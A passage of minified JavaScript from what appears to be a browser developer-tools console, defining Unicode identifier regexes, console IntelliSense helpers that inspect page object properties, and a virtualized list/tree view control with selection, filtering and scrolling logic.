ହ଼-ୄେ-ୈୋ-୍ୖ-ୗଡ଼-ଢ଼ୟ-ୣ୦-୯ୱஂ-ஃஅ-ஊஎ-ஐஒ-கங-சஜஞ-டண-தந-பம-ஹா-ூெ-ைொ-்ௐௗ௦-௯ఁ-ఃఅ-ఌఎ-ఐఒ-నప-ళవ-హఽ-ౄె-ైొ-్ౕ-ౖౘ-ౙౠ-ౣ౦-౯ಂ-ಃಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹ಼-ೄೆ-ೈೊ-್ೕ-ೖೞೠ-ೣ೦-೯ೱ-ೲം-ഃഅ-ഌഎ-ഐഒ-ഺഽ-ൄെ-ൈൊ-ൎൗൠ-ൣ൦-൯ൺ-ൿං-ඃඅ-ඖක-නඳ-රලව-ෆ්ා-ුූෘ-ෟෲ-ෳก-ฺเ-๎๐-๙ກ-ຂຄງ-ຈຊຍດ-ທນ-ຟມ-ຣລວສ-ຫອ-ູົ-ຽເ-ໄໆ່-ໍ໐-໙ໜ-ໟༀ༘-༙༠-༩༹༵༷༾-ཇཉ-ཬཱ-྄྆-ྗྙ-ྼ࿆က-၉ၐ-ႝႠ-ჅჇჍა-ჺჼ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚ፝-፟ᎀ-ᎏᎠ-Ᏼᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛮ-ᛰᜀ-ᜌᜎ-᜔ᜠ-᜴ᝀ-ᝓᝠ-ᝬᝮ-ᝰᝲ-ᝳក-៓ៗៜ-៝០-៩᠋-᠍᠐-᠙ᠠ-ᡷᢀ-ᢪᢰ-ᣵᤀ-ᤜᤠ-ᤫᤰ-᤻᥆-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉ᧐-᧙ᨀ-ᨛᨠ-ᩞ᩠-᩿᩼-᪉᪐-᪙ᪧᬀ-ᭋ᭐-᭙᭫-᭳ᮀ-᯳ᰀ-᰷᱀-᱉ᱍ-ᱽ᳐-᳔᳒-ᳶᴀ-ᷦ᷼-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼ‌-‍‿-⁀⁔ⁱⁿₐ-ₜ⃐-⃥⃜⃡-⃰ℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎⅠ-ↈⰀ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯ⵿-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞⷠ-ⷿⸯ々-〇〡-〯〱-〵〸-〼ぁ-ゖ゙-゚ゝ-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎㆠ-ㆺㇰ-ㇿ㐀-䶵一-鿌ꀀ-ꒌꓐ-ꓽꔀ-ꘌꘐ-ꘫꙀ-꙯ꙴ-꙽ꙿ-ꚗꚟ-꛱ꜗ-ꜟꜢ-ꞈꞋ-ꞎꞐ-ꞓꞠ-Ɦꟸ-ꠧꡀ-ꡳꢀ-꣄꣐-꣙꣠-ꣷꣻ꤀-꤭ꤰ-꥓ꥠ-ꥼꦀ-꧀ꧏ-꧙ꨀ-ꨶꩀ-ꩍ꩐-꩙ꩠ-ꩶꩺ-ꩻꪀ-ꫂꫛ-ꫝꫠ-ꫯꫲ-꫶ꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꯀ-ꯪ꯬-꯭꯰-꯹가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎ff-stﬓ-ﬗיִ-ﬨשׁ-זּטּ-לּמּנּ-סּףּ-פּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻ︀-️︠-︦︳-︴﹍-﹏ﹰ-ﹴﹶ-ﻼ0-9A-Za-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ";n.JAVASCRIPT_BEGIN_EXPRESSION_REGEX=new RegExp("[\\."+n.VALID_JAVASCRIPT_VARIABLE_LETTERS+"]+$");n.JAVASCRIPT_END_EXPRESSION_REGEX=new RegExp("^["+n.VALID_JAVASCRIPT_VARIABLE_LETTERS+"]+");n.JAVASCRIPT_BEGIN_SEARCH_TOKEN_REGEX=new RegExp("["+n.VALID_JAVASCRIPT_VARIABLE_LETTERS+"]+$");n.JAVASCRIPT_VALID_JS_VARIABLENAME_REGEX=new RegExp("^["+n.VALID_JAVASCRIPT_VARIABLE_LETTERS+"]+$");n.EVAL_RESULT_NAME="__IE_DEVTOOLBAR_CONSOLE_EVAL_RESULT";n.EVAL_ERROR="__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR";n.EVAL_ERRORCODE="__IE_DEVTOOLBAR_CONSOLE_EVAL_ERRORCODE";n.IGNORED_OPTIONS=["__proto__",n.EVAL_RESULT_NAME,n.EVAL_ERROR,n.EVAL_ERRORCODE];t.IntellisenseProviderBase=n}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e=!0){this._breakUpFilterTextByWhitespace=e}set choices(e){this._choices=e;this._onIntellisenseResultsAvailable&&this._onIntellisenseResultsAvailable();this._intellisenseContext&&(this._intellisenseContext.intellisenseMenu.intellisenseChoices=e)}get choices(){return this._choices}get onIntellisenseResultsAvailable(){return this._onIntellisenseResultsAvailable}set onIntellisenseResultsAvailable(e){this._onIntellisenseResultsAvailable=e}get onShouldOpenOnTextChange(){return this._onShouldOpenOnTextChange}set onShouldOpenOnTextChange(e){this._onShouldOpenOnTextChange=e}attach(e){this._intellisenseContext=e;this._intellisenseContext.textEditorBridge.onTextChanged=(e=>this.textEditorBridge_textChanged(e));this._intellisenseContext.textEditorBridge.onCaretPositionChanged=(e=>this.textEditorBridge_caretPositionChanged(e));this._intellisenseContext.textEditorBridge.onSelectionLengthChanged=(e=>this.textEditorBridge_selectionLengthChanged(e));this._intellisenseContext.textEditorBridge.onMenuRequested=(()=>this.textEditorBridge_menuRequested());this._intellisenseContext.intellisenseMenu.onChoiceCommitted=((e,t)=>this.intellisenseMenu_choiceCommitted(e,t));this._intellisenseContext.intellisenseMenu.intellisenseChoices=this._choices}detach(){this._intellisenseContext.textEditorBridge.onTextChanged=null;this._intellisenseContext.textEditorBridge.onCaretPositionChanged=null;this._intellisenseContext.textEditorBridge.onSelectionLengthChanged=null;this._intellisenseContext.textEditorBridge.onMenuRequested=null;this._intellisenseContext.intellisenseMenu.onSelectionChanged=null;this._intellisenseContext.intellisenseMenu.onChoiceCommitted=null;this._intellisenseContext.intellisenseMenu.onClosing=null;this._intellisenseContext=null}getCurrentFilteredIntellisenseCompletionList(){return this._intellisenseContext.intellisenseMenu.filteredIntellisenseChoices}clearLastValues(){}onMenuChoiceCommitted(e,t){this.closeMenu();this.insertText(this._token.leftIndex,this._token.rightIndex,e.text)}insertText(e,t,i){this._intellisenseContext.textEditorBridge.insertText(e,t,i)}updateIntellisense(e,t,i){this._token=this.findTokenWhereCaretResides(e,t);this.setFilter(this._token.text);i||this._choices&&this._choices.length>0&&this._token.text&&this._token.text.length>0&&(!this._onShouldOpenOnTextChange||this._onShouldOpenOnTextChange(e))?this.openMenu(i):this.closeMenu()}setFilter(e){this._intellisenseContext.intellisenseMenu.setFilter(e)}openMenu(e){e?this._intellisenseContext.intellisenseMenu.forceOpen():this._intellisenseContext.intellisenseMenu.isOpen=!0}closeMenu(){this._intellisenseContext.intellisenseMenu.isOpen=!1}static isAtLeftEndOrHasWhiteSpaceToTheLeft(e,t){if(t<0)return!0;var i=e.charAt(t);return" "===i||"\t"===i}static isAtRightEndOrHasWhiteSpaceToTheRight(e,t){if(t>=e.length)return!0;var i=e.charAt(t);return" "===i||"\t"===i}findTokenWhereCaretResides(e,i){if(!this._breakUpFilterTextByWhitespace)return{leftIndex:0,rightIndex:e.length,text:e};for(var s=i;!t.isAtLeftEndOrHasWhiteSpaceToTheLeft(e,s-1);)s--;for(var n=i;!t.isAtRightEndOrHasWhiteSpaceToTheRight(e,n);)n++;return{leftIndex:s,rightIndex:n,text:e.substring(s,n)}}textEditorBridge_textChanged(e){this.updateIntellisense(e,this._intellisenseContext.textEditorBridge.caretPosition)}textEditorBridge_caretPositionChanged(e){0===this._intellisenseContext.textEditorBridge.selectionLength&&this.updateIntellisense(this._intellisenseContext.textEditorBridge.text,e)}textEditorBridge_selectionLengthChanged(e){e>0&&(this._intellisenseContext.intellisenseMenu.isOpen=!1)}textEditorBridge_menuRequested(){this.updateIntellisense(this._intellisenseContext.textEditorBridge.text,this._intellisenseContext.textEditorBridge.caretPosition,!0)}intellisenseMenu_choiceCommitted(e,t){this.onMenuChoiceCommitted(e,t)}}e.StaticContentProvider=t}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(e){this._context=e}static evaluateProperty(e,t,s,n){var o=(e,t)=>{if(e)try{var n=i.getPagePropertyDescriptor(s,e,t);return n||o(s.Object.getPrototypeOf(e),t)}catch(e){return"TypeError"===e.name?{}:void 0}return e},r=(e,t,i)=>{if(i){if(void 0!==i.value&&null!==i.value)return i.value;var o=typeof e;"object"!==o&&"function"!==o&&(e=new s.Object(e));if(i.isSafeGet)return n(e,t)}};return e&&r(e,t,o(e,t))}static getObjectContextPropertiesNames(t){var i=[];if(null!==t.object&&void 0!==t.object){var s=typeof t.object;"object"!==s&&"function"!==s&&(t.object=new t.windowContext.Object(t.object));var n=e.RemoteHelpers.getValidWindow(t.windowContext,t.object,!0);n.isValid&&(t.object=t.windowContext=n.window);var o=t.windowContext.Object.getOwnPropertyNames(t.object);o&&(i=o);for(var r=t.windowContext.Object.getPrototypeOf(t.object);r;){var a=t.windowContext.Object.getOwnPropertyNames(r);i=Array.prototype.concat.call(i,a);r=t.windowContext.Object.getPrototypeOf(r)}}return i}getIntellisenseItemsForExpression(e){const t=browser.unwrapMirror(this._context.currentWindowContext.global);return this.getIntellisenseItemsForExpressionUsingWindowContext(e,t,t.window,[])}getIntellisenseItemsForExpressionUsingWindowContext(e,t,i,s){var n=this.getObjectContextForExpressionUsingEvaluator(e,t,i);let o=[];t===i&&0===e.length&&(o=o.concat(this.getConsoleGlobals(),s));return this.getIntellisenseItemsForObjectContext(n,o)}static getPagePropertyDescriptor(t,i,s){var n=function(e,t){try{window.__BROWSERTOOLS_CONSOLE_INTELLISENSE_DESCRIPTOR=null;var i=Object.getOwnPropertyDescriptor(e,t);if(i){var s=!1;i.get&&/\[native code\]/.test(i.get.toString())?s=!0:void 0===i.get&&(s=!0);window.__BROWSERTOOLS_CONSOLE_INTELLISENSE_DESCRIPTOR={value:i.value,isSafeGet:s}}}catch(e){}};try{e.RemoteHelpers.executeScript("window.__BROWSERTOOLS_CONSOLE_INTELLISENSE_GET_DESCRIPTOR = "+n.toString(),t,!0);t.__BROWSERTOOLS_CONSOLE_INTELLISENSE_GET_DESCRIPTOR(i,s);return t.__BROWSERTOOLS_CONSOLE_INTELLISENSE_DESCRIPTOR}catch(e){return new t.Object(null)}}getObjectContextForExpressionUsingEvaluator(t,s,n){var o=t.split(".");const r=this.getConsoleGlobals();for(var a=0;a<o.length&&o[a].length>0;++a){var l=e.PropertyEvaluationIgnoreList.propertyEvaluationFunction(s,n);n=i.evaluateProperty(n,o[a],s,l);var h=e.RemoteHelpers.getValidWindow(s,n,!0);h.isValid&&(n=s=h.window)}if(!n&&o.length&&o[0].length){if(r.indexOf(o[0])>=0)return{object:this.getConsoleGlobalValue(o[0]),windowContext:s}}return{object:n,windowContext:s}}getIntellisenseItemsForObjectContext(e,t){for(var s=i.getObjectContextPropertiesNames(e),n=[],o=0,r=(s=Array.prototype.concat.call(s,t)).length;o<r;o++)String.prototype.match.call(s[o],/^\d/)||n.push({name:s[o],info:""});var a=(e,t)=>e<t?-1:e>t?1:0;n=Array.prototype.sort.call(n,function(e,t){var i=a(e.name.toLowerCase(),t.name.toLowerCase());return 0===i?a(t.name,e.name):i});for(o=1;o<n.length;)n[o-1].name===n[o].name?n.splice(o,1):o++;return{choices:n}}getConsoleGlobals(){const e=diagnosticsScript.getConsoleScope();return Object.keys(e)}getConsoleGlobalValue(e){return diagnosticsScript.getConsoleScope()[e]}}t.IntellisenseRemoteHelpers=i}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(){this._cellOffset=0;this._rowHeight=0;this._unitEx=0}get cellOffset(){return this._cellOffset}get rowHeight(){return this._rowHeight}get unitEx(){return this._unitEx}update(e){var t=s.createElement("div","listview-grid");t.style.display="block";t.style.position="absolute";t.style.left="-5000px";t.style.top="-5000px";t.style.width="1000px";t.style.height="500px";(e||document.body).appendChild(t);var i=s.createElement("div","listview-grid-row grid-row-normal");i.tabIndex=-1;i.setAttribute("role","listitem");t.appendChild(i);var n=s.createElement("div","listview-grid-cell");n.style.width="100px";n.innerText="1";i.appendChild(n);this._rowHeight=i.offsetHeight;this._cellOffset=n.offsetWidth-100;var o=s.createElement("div");o.style.overflow="hidden";o.style.width="1em";o.style.height="1ex";n.appendChild(o);this._unitEx=o.offsetHeight;(e||document.body).removeChild(t)}}t.Measurements=i;let s;!function(e){function t(e,t){var i=document.createElement(e);t&&(i.className=t);return i}e.createElement=t;function i(e,t,i){for(var s=i||document.body,n=e;n&&n!==s;){if(n.msMatchesSelector(t))return n;n=n.parentElement}return null}e.findClosestElement=i}(s=t.DomHelpers||(t.DomHelpers={}));class n{constructor(e,t,i,s,o,r){this._isTabbingOut=!1;this._delayedRenderRequestCount=0;this._containerElement=e;this._toggleCallback=t;this._selectCallback=i;this._editCallback=s;this._clickCallback=o;this._nameColumnWidth=n.DefaultColumnSize;this._isInitialResize=!0;this._autoScrollEnabled=!0;this._scrollPadding=5;this._hasIndent=!0;this._renderFunction=r;this._renderFunction||(this._renderFunction=((e,t,i)=>window.setTimeout(e,t,i)));this.initialize()}get onUpdated(){return this._onUpdated}set onUpdated(e){this._onUpdated=e}get postRenderCallback(){return this._postRenderCallback}set postRenderCallback(e){this._postRenderCallback=e}get notifyToggleCallback(){return this._notifyToggleCallback}set notifyToggleCallback(e){this._notifyToggleCallback=e}get scrollPadding(){return this._scrollPadding}set scrollPadding(e){this._scrollPadding=e}get hasIndent(){return this._hasIndent}set hasIndent(e){this._hasIndent=e}get onBeforeRendering(){return this._onBeforeRendering}set onBeforeRendering(e){this._onBeforeRendering=e}get onRendered(){return this._onRendered}set onRendered(e){this._onRendered=e}get onBeforeItemToggle(){return this._onBeforeItemToggle}set onBeforeItemToggle(e){this._onBeforeItemToggle=e}get onItemToggled(){return this._onItemToggled}set onItemToggled(e){this._onItemToggled=e}get onBeforeScroll(){return this._onBeforeScroll}set onBeforeScroll(e){this._onBeforeScroll=e}get onScrollCompleted(){return this._onScrollCompleted}set onScrollCompleted(e){this._onScrollCompleted=e}resize(){this.onResize(null)}addItems(e,t,i,s,n){var o=null,r=null,a=null,l=0,h=0;F12.Tools.Utility.Assert.isFalse(n&&!i,"addBeforeSibling (true) can only be used with linkAsSiblings (true) in objectTreeView addItems");for(var d=[],c=[],u=0;u<e.length;u++){e[u].isStale=t&&t.isStale;"consoleItemInput"===e[u].additionalClass&&(this._autoScrollEnabled=!0);var m;u>0?m=e[u-1]:this._filteredList&&this._filteredList.length>0&&(m=this.getItem(this._filteredList.length-1));var p=(!this._filter||this._filter(e[u]))&&this.separatorFilter(e[u],m),_=e[u].id;if(e[u].htmlLines&&e[u].htmlLines.length>0)for(var g=0;g<e[u].htmlLines.length;g++){d.push(_+"::"+g);p&&c.push(_+"::"+g)}else{d.push(_);p&&c.push(_)}}if(t){r=o=this._dataContextMap[t.id];i&&(o=r.parentContext)}if(o||r){var f=r.item;l=this.getIndexOfItem(this._unfilteredList,f)+1;h=this.getIndexOfItem(this._filteredList,f)+1;if(i){if(n){l-=1;h-=1;F12.Tools.Utility.Assert.isTrue(l>=0);F12.Tools.Utility.Assert.isTrue(h>=0);l<0&&(l=0);h<0&&(h=0)}}else{l+=o?o.descendantCount:0;h+=o?o.expandedCount:0}if(o){o.children=(o.children||[]).concat(e);this.updateContextCounts(o,d.length,c.length)}var C=h-1;C+c.length>=this._currentViewport.last-this._scrollPadding-1&&(a=c.length+1<this._currentViewport.unboundLast-this._currentViewport.unboundFirst-2*this._scrollPadding?{index:C+c.length,top:!1}:{index:C,top:!0})}else{l=this._unfilteredList.length;h=this._filteredList.length}for(u=0;u<e.length;u++){var v=e[u].htmlLines&&e[u].htmlLines.length>0?e[u].htmlLines.length-1:0;this._dataContextMap[e[u].id]={item:e[u],children:[],parentContext:o,descendantCount:v,expandedCount:v}}0===this._unfilteredList.length||l===this._unfilteredList.length?this._unfilteredList=this._unfilteredList.concat(d):this.spliceArray(this._unfilteredList,d,l);0===this._filteredList.length||h===this._filteredList.length?this._filteredList=this._filteredList.concat(c):this.spliceArray(this._filteredList,c,h);this.requestRender(!0);!s&&a&&(this._delayedScrollFunction=(()=>{this.scrollIndexIntoView(a.index,a.top)}))}updateItemLines(e,t){var i=e.id,s=this.getIndexOfItem(this._unfilteredList,e),n=this.getIndexOfItem(this._filteredList,e);if(s>=0){for(var o=[],r=[],a=0;a<e.htmlLines.length;a++){o.push(i+"::"+a);n>=0&&r.push(i+"::"+a)}var l=[s,t].concat(o);Array.prototype.splice.apply(this._unfilteredList,l);if(n>=0){l=[n,t].concat(r);Array.prototype.splice.apply(this._filteredList,l)}this.updateContextCounts(this._dataContextMap[e.id],o.length-t,r.length-t)}this.requestRender(!0)}selectItem(e,t=!0){if(this._delayedRenderCookie){this._delayedSelectFunction=(()=>this.selectItem(e,t));return!1}for(var i=this._gridElement.querySelectorAll(".listview-grid-row"),s=0;s<i.length;s++){var n=i.item(s),o=parseInt(n.getAttribute("data-index"),10);if(this.getItem(o)===e&&(!e.htmlLines||0===this.getLineIndex(this._filteredList[o]))){this.selectRow(n,t,!1);return!0}}if((o=this.getIndexOfItem(this._filteredList,e,!1))>-1){this.scrollIndexIntoView(o,!0);if(n=document.getElementById("row_"+o)){this.selectRow(n,t,!1);return!0}}return!1}markItemsAsStale(e){for(var t=0,i=this._unfilteredList.length;t<i;t++){var s=this.getItemId(this._unfilteredList[t]),n=this._dataContextMap[s].item,o=n.target;o&&e&&(n.isStale=o.targetId===e)}this.requestRender(!0)}selectRow(e,t,i=!0){if(e&&e.classList.contains("listview-grid-row")){if((n=parseInt(e.getAttribute("data-index"),10))!==this._selectedIndex||t){this._selectedIndex=n;this._selectedRow=e;var s=this.getLineIndex(this._filteredList[this._selectedIndex]);if(s>=1&&i){var n=this._selectedIndex-s;this.selectItem(this.getItem(n));return}this._delayedSelectCookie&&window.clearTimeout(this._delayedSelectCookie);this._delayedSelectCookie=window.setTimeout(()=>{if(this._selectedRow){for(var e=this._gridElement.querySelectorAll(".listview-grid-row-selected"),i=0;i<e.length;i++){e.item(i).classList.remove("listview-grid-row-selected");e.item(i).removeAttribute("aria-selected")}var s=this.getItem(this._selectedIndex);if(!s){this._delayedSelectCookie=null;return}for(var n=this._selectedRow,o=0;o<(s.htmlLines?s.htmlLines.length:1)&&n;){n.classList.add("listview-grid-row-selected");n.setAttribute("aria-selected","true");n=n.nextSibling;o++}t||this.isFocusWithin()?this._selectedRow.focus():this.scrollIndexIntoView(this._selectedIndex);this.updateGroupLine();this._selectCallback&&this._selectCallback(s)}this._delayedSelectCookie=null},10)}}}toggleRow(e){var t=parseInt(e.getAttribute("data-index"),10);if(!isNaN(t)){e.querySelector(".listview-icon-tree")&&this.toggleRowAt(t)}}setRowState(e,t){var i=this.getItem(e);if(i){var s=this._dataContextMap[i.id].descendantCount<=(i.htmlLines?i.htmlLines.length-1:0);(t===n.EXPAND_ROW&&s||t===n.COLLAPSE_ROW&&!s)&&this.toggleRowAt(e)}}toggleRowAt(e){var t=this.getItem(e);if(t){this._onBeforeItemToggle&&this._onBeforeItemToggle();var i=this._dataContextMap[t.id];if(i.descendantCount<=(t.htmlLines?t.htmlLines.length-1:0))this._toggleCallback&&this._toggleCallback(i.item);else{for(var s=t.htmlLines?t.htmlLines.length-1:0,n=i.descendantCount-s,o=i.expandedCount-s,r=this.getIndexOfItem(this._unfilteredList,t),a=this._unfilteredList.splice(r+1+s,n),l=0;l<a.length;l++){var h=this.getItemId(a[l]);this._dataContextMap[h]=null}this._selectedIndex>e+s&&this._selectedIndex<e+1+s+o&&(this._selectedIndex=e);this._filteredList.splice(e+1+s,o);this.updateContextCounts(i,-n,-o);this.requestRender(!0,e);this._onUpdated&&this._onUpdated([t])}setTimeout(()=>{this._notifyToggleCallback&&this._notifyToggleCallback()});this._onItemToggled&&this._onItemToggled()}}setButtonState(t,i,s,n){if(t.buttonItems)for(var o=this._gridElement.querySelectorAll(".listview-grid-row"),r=0;r<o.length;r++){var a=o.item(r),l=parseInt(a.getAttribute("data-index"),10);if(this.getItem(l)===t&&0===this.getLineIndex(this._filteredList[l])){var h=a.querySelector('[listview-button-index="'+i+'"]');if(h){e.ButtonHelpers.changeButtonStatus(h,s);var d=t.buttonItems[i];d.isEnabled=s;if(s){d.isChecked=n;var c=n?d.checkedTooltip:d.uncheckedTooltip;h.setAttribute("data-plugin-vs-tooltip",Microsoft.Plugin.Resources.getString(c));h.setAttribute("aria-label",Microsoft.Plugin.Resources.getString(c));var u=h.querySelector(".buttonIcon.icon_16x16");u&&(n?u.classList.add("checked"):u.classList.remove("checked"))}}}}}setFilter(e){this._filter=e;for(var t={},i=0;i<this._filteredList.length;i++)t[this._filteredList[i]]=!0;var s,n=[],o=-1;if(this._selectedIndex>-1){var r=this.getSelectedItem();r&&(o=this.getIndexOfItem(this._unfilteredList,r));this._selectedIndex=-1}for(i=0;i<this._unfilteredList.length;i++){var a=this._unfilteredList[i],l=this._dataContextMap[this.getItemId(a)],h=0,d=!!t[a];if(l&&e(l.item)&&this.separatorFilter(l.item,s)){s=l.item;n.push(a);d||(h=1);i>=o&&-1===this._selectedIndex&&(this._selectedIndex=n.length-1)}else if(d){h=-1;i===o&&n&&n.length>0&&(this._selectedIndex=n.length-1)}if(h){var c=l&&l.parentContext;if(c)for(;c;){c.expandedCount+=h;c=c.parentContext}}}this._filteredList=n;-1===this._selectedIndex?this._selectedRow=null:this._delayedScrollFunction=(()=>this.scrollIndexIntoView(this._selectedIndex,!0));this.requestRender(!0)}sortFilteredList(t){this._filteredList.sort((i,s)=>{i=t(this._dataContextMap[this.getItemId(i)].item),s=t(this._dataContextMap[this.getItemId(s)].item);var n=e.ToolWindowHelpers.naturalSort(i.toLowerCase(),s.toLowerCase());return 0===n?e.ToolWindowHelpers.naturalSort(s,i):n})}getItemCount(){return this._filteredList.length}getUnfilteredItemCount(){return this._unfilteredList.length}getItemAt(e){return e>=0&&e<this._filteredList.length?this.getItem(e):null}getSelectedItem(){return this._selectedIndex>=0&&this._selectedIndex<this._filteredList.length?this.getItem(this._selectedIndex):null}getSelectedRow(){if(this._selectedRow)return this._selectedRow;if(this._selectedIndex>=0&&this._selectedIndex<this._filteredList.length){this.scrollIndexIntoView(this._selectedIndex);return document.getElementById("row_"+this._selectedIndex)}return null}getItemChildren(e){return this._dataContextMap[e.id]?this._dataContextMap[e.id].children:null}isItemExpanded(e){return this._dataContextMap[e.id]&&this._dataContextMap[e.id].descendantCount>(e.htmlLines?e.htmlLines.length-1:0)}isItemCollapsed(e){return this._dataContextMap[e.id]&&this._dataContextMap[e.id].descendantCount<=(e.htmlLines?e.htmlLines.length-1:0)}removeItem(e,t,i){if(e){var s=this._dataContextMap[e.id];if(s){var n=this.getIndexOfItem(this._filteredList,e);-1!==n&&this._filteredList.splice(n,s.expandedCount+1);for(var o=this.getIndexOfItem(this._unfilteredList,e),r=this._unfilteredList.splice(o,s.descendantCount+1),a=0;a<r.length;a++){var l=this.getItemId(r[a]);this._dataContextMap[l]=null}var h,d=s.parentContext;if(d&&d.children){(a=d.children.indexOf(e))>-1&&d.children.splice(a,1);this.updateContextCounts(s,-(s.descendantCount+1),-(s.expandedCount+1))}this._selectedIndex===n?h=this.getItem(Math.min(n,this._filteredList.length-1)):this._selectedIndex>n&&(h=this.getItem(Math.min(this._selectedIndex-s.expandedCount,this._filteredList.length-1)));h&&this.selectItem(h,i);this.requestRender(!t)}}}scrollToBottom(){this._delayedRenderCookie?this._delayedScrollFunction=(()=>{this.scrollToBottom()}):this._rootElement.scrollTop=this._rootElement.scrollHeight}remeasure(){this._measurements.update();this.requestRender(!0)}refresh(){this.requestRender(!0)}clear(){if(this._delayedSelectCookie){clearTimeout(this._delayedSelectCookie);this._delayedSelectCookie=null}if(this._delayedFocusCookie){clearTimeout(this._delayedFocusCookie);this._delayedFocusCookie=null}this._dataContextMap={};this._filteredList=[];this._unfilteredList=[];this._selectedIndex=-1;this._selectedRow=null;this._groupLineElement.style.display="none";this._onUpdated&&this._onUpdated(null);this.executePendingRenderRequest(!0)}expandAllItems(e,t){var i=this.getItem(e);if(i){var s=this._dataContextMap[i.id];s&&this.expandDescendants(s.item,t)}}collapseAllItems(e){if(i=this.getItem(e)){var t=this._dataContextMap[i.id];if(t){var i=t.item;this.isItemExpanded(i)&&this.toggleRowAt(this.getIndexOfItem(this._filteredList,i))}}}getTreeViewItemIndent(e){var t=-1,i=this.getItem(e);if(i){t=0;if(this._dataContextMap){var s=this._dataContextMap[i.id];s&&(t=this.getIndent(s))}}return t}getIndex(e){return this.getIndexOfItem(this._filteredList,e)}itemIndexToLineIndex(e){if(e>0&&e<this._filteredList.length){for(var t=1,i=0;t<this._filteredList.length&&i<e;t++)this.getItemId(this._filteredList[t])!==this.getItemId(this._filteredList[t-1])&&i++;return t-1}return e}lineIndexToItemIndex(e){if(e<1)return e;for(var t=0,i=1;i<=Math.min(e,this._filteredList.length-1);i++)this.getItemId(this._filteredList[i])!==this.getItemId(this._filteredList[i-1])&&t++;return t}isAutoScrollToItemEnabled(e){var t=!1,i=1;e&&e.htmlLines&&(i=e.htmlLines.length);t=this.getIndex(e)===this.getItemCount()-i;this._scrollBottom>=this._measurements.rowHeight*Math.max(0,this._filteredList.length-i)&&(this._autoScrollEnabled=!0);return this._autoScrollEnabled&&t}onDOMAttrModified(e){if("aria-expanded"===e.attrName){var t=e.target,i="true"===e.newValue,s=t.classList.contains("listview-grid-row-expanded"),n=t.classList.contains("listview-grid-row-collapsed");(i&&n||!i&&s)&&this.toggleRow(t)}}addDOMAttrModifiedHandler(e){e.addEventListener("DOMAttrModified",this.onDOMAttrModified.bind(this))}initialize(){this._rootElement=s.createElement("div","listview");this._rootElement.setAttribute("tabindex","1");this._rootElement.setAttribute("role","tree");this._containerElement.appendChild(this._rootElement);this._spacerTopElement=s.createElement("span","listview-grid-content-spacer");this._rootElement.appendChild(this._spacerTopElement);this._rootElement.appendChild(s.createElement("div",""));this._gridElement=s.createElement("div","listview-grid");this._rootElement.appendChild(this._gridElement);this._groupLineElement=s.createElement("div","listview-grid-groupline");this._rootElement.appendChild(this._groupLineElement);this._separatorElement=s.createElement("div","listview-grid-separator");this._separatorElement.style.left=n.SeparatorOffset+this._nameColumnWidth+"px";this._rootElement.appendChild(this._separatorElement);this._rootElement.appendChild(s.createElement("div",""));this._spacerBottomElement=s.createElement("span","listview-grid-content-spacer");this._rootElement.appendChild(this._spacerBottomElement);window.addEventListener("resize",e=>this.onResize(e));this._rootElement.addEventListener("scroll",e=>this.onScroll(e));this._rootElement.addEventListener("mousedown",e=>this.onMouseDown(e));this._rootElement.addEventListener("dblclick",e=>this.onMouseDblClick(e));this._rootElement.addEventListener("keydown",e=>this.onKeyDown(e));this._rootElement.addEventListener("focus",e=>this.onFocus(e),!0);this._rootElement.addEventListener("blur",e=>this.onBlur(e),!0);this._measurements=new i;window.setTimeout(()=>{this._measurements.update(this._containerElement)},10);this.resetViewport();this._scrollHeight=0;this._scrollBottom=this._rootElement.clientHeight+this._rootElement.scrollTop;this._dataContextMap={};this._unfilteredList=[];this._filteredList=[];this._linesMap={};this._errorLabel=e.ToolWindowHelpers.loadString("SingleError",[""]);this._infoLabel=e.ToolWindowHelpers.loadString("SingleMessage",[""]);this._warningLabel=e.ToolWindowHelpers.loadString("SingleWarning",[""]);this._isStaleLabel=e.ToolWindowHelpers.loadString("ConsoleStaleMessage")}resetViewport(){this._currentViewport={first:Number.MAX_VALUE,last:-1,scrollTop:0,spaceTop:0,spaceBottom:0,unboundFirst:Number.MAX_VALUE,unboundLast:-1}}getViewportRowInfo(){var e=Math.max(0,this._filteredList.length-1),t=this._measurements.rowHeight||1,i=(e+2)*t-this._rootElement.clientHeight;this._rootElement.scrollTop>i&&(this._rootElement.scrollTop=i);var 